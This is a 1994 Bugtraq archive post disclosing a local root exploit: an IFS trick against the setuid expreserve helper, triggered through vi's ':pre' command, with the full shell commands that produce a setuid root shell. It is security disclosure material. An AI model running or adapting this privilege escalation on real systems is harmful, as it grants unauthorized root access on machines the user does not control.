Bugtraq mailing list archives
Re: chmod 000 .rhosts - works?
From: jsz () ramon bgu ac il (jsz)
Date: Sat, 15 Oct 94 16:17:00 IST
ObBug: vi runs expreserve when it crashes or you type ':pre' (on some
versions). Expreserve is setuid root. Expreserve runs /bin/mail
with 'system()'. So, do the following:
% cd /tmp
% cp /bin/sh fubar
% cat > bin
chmod 4755 fubar
^D
% chmod u+x fubar
% setenv IFS=/
% vi
:pre
:q
% fubar
#
It has been known since 1986? You'll find IRIX 4.0.X vulnerable to it, but expreserve is sgid sys, so you'd get access to read kmem tables -- Regards ----
Current thread:
- Re: Wanted: hackers for tiger team (new england area) Joseph W. Stroup (Sep 30)
- <Possible follow-ups>
- Re: Wanted: hackers for tiger team (new england area) Perry E. Metzger (Oct 01)
- SGI patch Christopher Klaus (Oct 08)
- Re: Wanted: hackers for tiger team (new england area) Mark (Oct 08)
